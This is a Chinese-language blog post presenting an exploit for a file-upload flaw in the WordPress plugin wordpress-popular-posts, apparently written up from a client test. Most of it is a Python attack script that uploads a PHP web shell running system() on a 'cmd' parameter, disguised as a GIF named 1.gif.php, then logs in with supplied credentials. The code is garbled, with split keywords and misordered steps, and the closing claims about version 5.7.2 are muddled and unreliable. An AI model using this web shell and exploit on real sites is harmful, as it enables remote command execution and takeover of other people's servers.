前言
WordPress大家应该都熟悉,好多博客用的都是wordpress,而它也是漏洞不断,今天我给大家带来的是最新发现的WordPress插件漏洞,看这篇文章的白帽们如果对之前的WordPress漏洞完全不懂的话可能会有点懵,我也会带大家写一下脚本。
漏洞分析
利用条件:
插件:wordpress-popular-posts
利用插件的话必须是登录状态,我们之前对一wordpress系统做了灰盒测试,是个大站,甲方并没有给密码,不过给了几个插件
应甲方的要求,我们如果找出漏洞,还要有相应的测试脚本(可能是不放心吧,要自己测试),此漏洞需要五个条件,分别是ip,端口,路径,用户名,密码
所以第一步:
my_parser = argparse.ArgumentParser(des cription='Wordpress Popular ')
my_parser.add_argument('-t', help='--Target IP', m etavar='IP', type=str, required=True, dest="target_ip")
my_parser.add_argument('-p', help='--Target port', type=str, m etavar='PORT', default='80', dest="target_port")
my_parser.add_argument('-w', help='--Wordpress path (ie. /wordpress/)',m etavar='PATH', type=str, required=True, dest="wp_path")
my_parser.add_argument('-U', help='--Username', m etavar='USER', type=str, required=True, dest="username")
my_parser.add_argument('-P', help='--Password', m etavar='PASS', type=str, required=True, dest="password")
args = my_parser.parse_args()
target_ip = args.target_ip
target_port = args.target_port
wp_path = args.wp_path
username = args.username
password = args.password
共五个条件。
原理:
使用提供的凭据登录,创建一个新的post,并添加一个自定义字段,其中包含指向webshell,它将由服务器自动下载。
wordpress-popular-posts的执行流程:
WordPress读取此文件以在插件中生成插件信息
*行政区。这个文件还包括插件使用的所有依赖项,
*注册激活和停用函数,并定义一个函数
*启动插件
可以看出插件信息绑定在了admin_notices。
接着我们去找它的上传处,在这里
插件的image.php定义了上传图片的控制器,图片最终还是传给了wordpress-popular-posts,整个漏洞上传流程已经完毕。
漏洞利用(脚本)
wordpress会对上传文件名后第一个后缀进行检测,所以我们上传1.gif.php
shell_name = '1.gif.php'
payload = 'GIF <!DOCTYPE html>
<html lang="en">
<head>
<m eta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form method="GET" name="<?php echo b asename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
</pre>
</body>
</html>'
file_json = requests.post('http://'+target_ip + ':' + target_port+'/src/image.php', files={ 'file' : (shell_name, payload)})
resp = json.loads(file_json.text)
if resp['status']:
urlshort = resp['data']['file']['url']['full']
else:
print(f'[-] Error:'+ resp['error']['message'])
exit()
file_uploaded_site = requests.get(urlshort).text
PHP_URL = re.findall(r"(https?://\S+)("+shell_name+")",file_uploaded_site)[0][0] + shell_name
注意一定要用json.loads将json格式的文件转换成字典的形式(因为我们要判断是否上传成功),最后我们登录并把会话信息发出去
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
header = {
'Host': target_ip,
'User-Agent': 'Monies Browser 1.0',
'Accept': 'text/html,application/xhtml+x ml,application/x ml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
结论
WordPress读取wordpress-popular-posts插件并没有去验证此插件信息的安全性,经过验证即使是现在WordPress也并没有对wordpress-popular-posts做出修改,5.7.2不过加了对此插件的验证,所以现在的解决方法就是将WordPress升级到最新5.7.2,我个人建议还是不要去用wordpress-popular-posts上传文件了。